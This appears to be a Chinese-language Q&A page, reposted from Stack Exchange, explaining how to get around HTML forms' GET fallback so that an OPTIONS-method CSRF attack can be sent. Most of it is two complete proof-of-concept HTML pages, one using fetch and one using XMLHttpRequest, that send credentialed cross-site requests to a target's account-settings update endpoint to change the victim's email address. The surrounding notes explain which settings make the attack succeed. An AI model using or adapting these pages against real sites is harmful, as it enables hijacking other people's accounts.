如何用OPTIONS方法发送表单绕过CSRF?解决默认转GET问题
解决方案:使用JavaScript发送OPTIONS请求绕过CSRF
问题根源
HTML原生表单的method属性仅支持GET和POST两种HTTP方法,当你指定OPTIONS时,浏览器会自动将请求降级为GET,这是HTML规范的硬性限制,因此直接用表单无法实现需求。
可行方案:用JavaScript发起请求
通过JavaScript可以自由指定HTTP请求方法,包括OPTIONS,以此绕过表单的方法限制。以下是两种实用实现方式:
方式1:使用Fetch API(推荐现代浏览器)
<!DOCTYPE html> <html> <!-- CSRF PoC - modified to use Fetch API --> <body> <script> // 目标请求地址(与原表单action一致) const targetUrl = "https://www.target.com:443/resource/UserSettingsResource/update/?source_url=%2Fsettings%2Faccount-settings%2F&data=%7B%22options%22%3A%7B%22email%22%3A%22pdsuuw%40arxxwalls.com%22%2C%22surface_tag%22%3A%22settings%22%7D%2C%22context%22%3A%7B%7D%7D"; // 发送OPTIONS请求 fetch(targetUrl, { method: 'OPTIONS', credentials: 'include' // 携带目标站点的Cookie,这是CSRF攻击生效的核心 }).then(() => { console.log('OPTIONS请求已发送'); }).catch(err => { console.error('请求失败:', err); }); </script> </body> </html>
方式2:使用XMLHttpRequest(兼容老旧浏览器)
<!DOCTYPE html> <html> <!-- CSRF PoC - modified to use XMLHttpRequest --> <body> <script> const targetUrl = "https://www.target.com:443/resource/UserSettingsResource/update/?source_url=%2Fsettings%2Faccount-settings%2F&data=%7B%22options%22%3A%7B%22email%22%3A%22pdsuuw%40arxxwalls.com%22%2C%22surface_tag%22%3A%22settings%22%7D%2C%22context%22%3A%7B%7D%7D"; const xhr = new XMLHttpRequest(); xhr.open('OPTIONS', targetUrl, true); xhr.withCredentials = true; // 强制携带Cookie xhr.send(); xhr.onload = function() { console.log('OPTIONS请求已发送'); }; </script> </body> </html>
关键注意事项
- 必须启用
credentials相关配置,否则浏览器不会自动携带目标站点的Cookie,CSRF攻击无法达成。 - 请求能否成功还受目标站点CORS策略影响:如果目标站点允许当前页面来源发送OPTIONS请求,请求会正常执行;若CORS限制严格,请求可能被拦截,这是CSRF场景下的通用限制。
内容的提问来源于stack exchange,提问作者Djallal Akira
相关产品推荐
相关产品推荐

